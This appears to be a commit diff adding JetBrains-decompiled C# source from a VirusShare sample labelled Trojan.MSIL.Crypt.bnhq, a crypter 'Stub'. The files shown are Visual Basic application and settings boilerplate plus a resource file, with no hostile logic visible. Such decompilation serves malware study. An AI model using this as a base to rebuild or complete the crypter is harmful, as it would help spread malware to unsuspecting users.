||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
</root>
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication2.My.MyApplication
|
||||
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication2.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
internal class MyApplication : WindowsFormsApplicationBase
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[DebuggerHidden]
|
||||
[STAThread]
|
||||
internal static void Main(string[] Args)
|
||||
{
|
||||
try
|
||||
{
|
||||
Application.SetCompatibleTextRenderingDefault(WindowsFormsApplicationBase.UseCompatibleTextRendering);
|
||||
}
|
||||
finally
|
||||
{
|
||||
}
|
||||
MyProject.Application.Run(Args);
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
public MyApplication()
|
||||
: base(AuthenticationMode.Windows)
|
||||
{
|
||||
this.IsSingleInstance = false;
|
||||
this.EnableVisualStyles = true;
|
||||
this.SaveMySettingsOnExit = true;
|
||||
this.ShutdownStyle = ShutdownMode.AfterMainFormCloses;
|
||||
}
|
||||
|
||||
[DebuggerStepThrough]
|
||||
protected override void OnCreateMainForm() => this.MainForm = (Form) MyProject.Forms.Form1;
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication2.My.MyComputer
|
||||
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe
|
||||
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
|
||||
namespace WindowsApplication2.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal class MyComputer : Computer
|
||||
{
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyComputer()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+212
@@ -0,0 +1,212 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication2.My.MyProject
|
||||
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace WindowsApplication2.My
|
||||
{
|
||||
[GeneratedCode("MyTemplate", "8.0.0.0")]
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class MyProject
|
||||
{
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyComputer> m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider<MyComputer>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyApplication> m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider<MyApplication>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<User> m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider<User>();
|
||||
private static MyProject.ThreadSafeObjectProvider<MyProject.MyForms> m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyForms>();
|
||||
private static readonly MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices> m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider<MyProject.MyWebServices>();
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
static MyProject()
|
||||
{
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Computer")]
|
||||
internal static MyComputer Computer
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Application")]
|
||||
internal static MyApplication Application
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.User")]
|
||||
internal static User User
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.Forms")]
|
||||
internal static MyProject.MyForms Forms
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[HelpKeyword("My.WebServices")]
|
||||
internal static MyProject.MyWebServices WebServices
|
||||
{
|
||||
[DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyForms
|
||||
{
|
||||
public Form1 m_Form1;
|
||||
[ThreadStatic]
|
||||
private static Hashtable m_FormBeingCreated;
|
||||
|
||||
public Form1 Form1
|
||||
{
|
||||
[DebuggerNonUserCode] get
|
||||
{
|
||||
this.m_Form1 = MyProject.MyForms.Create__Instance__<Form1>(this.m_Form1);
|
||||
return this.m_Form1;
|
||||
}
|
||||
[DebuggerNonUserCode] set
|
||||
{
|
||||
if (value == this.m_Form1)
|
||||
return;
|
||||
if (value != null)
|
||||
throw new ArgumentException("Property can only be set to Nothing");
|
||||
this.Dispose__Instance__<Form1>(ref this.m_Form1);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T Instance) where T : Form, new()
|
||||
{
|
||||
if ((object) Instance != null && !Instance.IsDisposed)
|
||||
return Instance;
|
||||
if (MyProject.MyForms.m_FormBeingCreated != null)
|
||||
{
|
||||
if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
|
||||
}
|
||||
else
|
||||
MyProject.MyForms.m_FormBeingCreated = new Hashtable();
|
||||
MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
|
||||
try
|
||||
{
|
||||
return new T();
|
||||
}
|
||||
catch (TargetInvocationException ex) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
ProjectData.SetProjectError((Exception) ex);
|
||||
if (ex.InnerException != null)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
|
||||
}
|
||||
finally
|
||||
{
|
||||
MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) where T : Form
|
||||
{
|
||||
instance.Dispose();
|
||||
instance = default (T);
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public MyForms()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyForms);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
}
|
||||
|
||||
[MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
internal sealed class MyWebServices
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override int GetHashCode() => base.GetHashCode();
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
internal new System.Type GetType() => typeof (MyProject.MyWebServices);
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public override string ToString() => base.ToString();
|
||||
|
||||
[DebuggerHidden]
|
||||
private static T Create__Instance__<T>(T instance) where T : new() => (object) instance == null ? new T() : instance;
|
||||
|
||||
[DebuggerHidden]
|
||||
private void Dispose__Instance__<T>(ref T instance) => instance = default (T);
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[DebuggerHidden]
|
||||
public MyWebServices()
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[ComVisible(false)]
|
||||
internal sealed class ThreadSafeObjectProvider<T> where T : new()
|
||||
{
|
||||
internal T GetInstance
|
||||
{
|
||||
[DebuggerHidden] get
|
||||
{
|
||||
if ((object) MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue == null)
|
||||
MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue = new T();
|
||||
return MyProject.ThreadSafeObjectProvider<T>.m_ThreadStaticValue;
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
public ThreadSafeObjectProvider()
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+73
@@ -0,0 +1,73 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication2.My.MySettings
|
||||
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe
|
||||
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Configuration;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace WindowsApplication2.My
|
||||
{
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
[GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
|
||||
[CompilerGenerated]
|
||||
internal sealed class MySettings : ApplicationSettingsBase
|
||||
{
|
||||
private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings());
|
||||
private static bool addedHandler;
|
||||
private static object addedHandlerLockObject = RuntimeHelpers.GetObjectValue(new object());
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
public MySettings()
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[EditorBrowsable(EditorBrowsableState.Advanced)]
|
||||
private static void AutoSaveSettings(object sender, EventArgs e)
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
}
|
||||
|
||||
public static MySettings Default
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
object handlerLockObject = MySettings.addedHandlerLockObject;
|
||||
ObjectFlowControl.CheckForSyncLockOnValueType(handlerLockObject);
|
||||
Monitor.Enter(handlerLockObject);
|
||||
try
|
||||
{
|
||||
if (!MySettings.addedHandler)
|
||||
{
|
||||
MyProject.Application.Shutdown += (ShutdownEventHandler) ((sender, e) =>
|
||||
{
|
||||
if (!MyProject.Application.SaveMySettingsOnExit)
|
||||
return;
|
||||
MySettingsProperty.Settings.Save();
|
||||
});
|
||||
MySettings.addedHandler = true;
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
Monitor.Exit(handlerLockObject);
|
||||
}
|
||||
}
|
||||
return MySettings.defaultInstance;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+24
@@ -0,0 +1,24 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: WindowsApplication2.My.MySettingsProperty
|
||||
// Assembly: Stub, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 203F0B26-5FFF-417A-945E-ABA05A8AC089
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.bnhq-8a3b7dbb0cfdf31f8285b58bb6e32ebba8908b7f9b69f0e9d3b39a0afcd05c0b.exe
|
||||
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using System.ComponentModel.Design;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace WindowsApplication2.My
|
||||
{
|
||||
[StandardModule]
|
||||
[CompilerGenerated]
|
||||
[DebuggerNonUserCode]
|
||||
[HideModuleName]
|
||||
internal sealed class MySettingsProperty
|
||||
{
|
||||
[HelpKeyword("My.Settings")]
|
||||
internal static MySettings Settings => MySettings.Default;
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user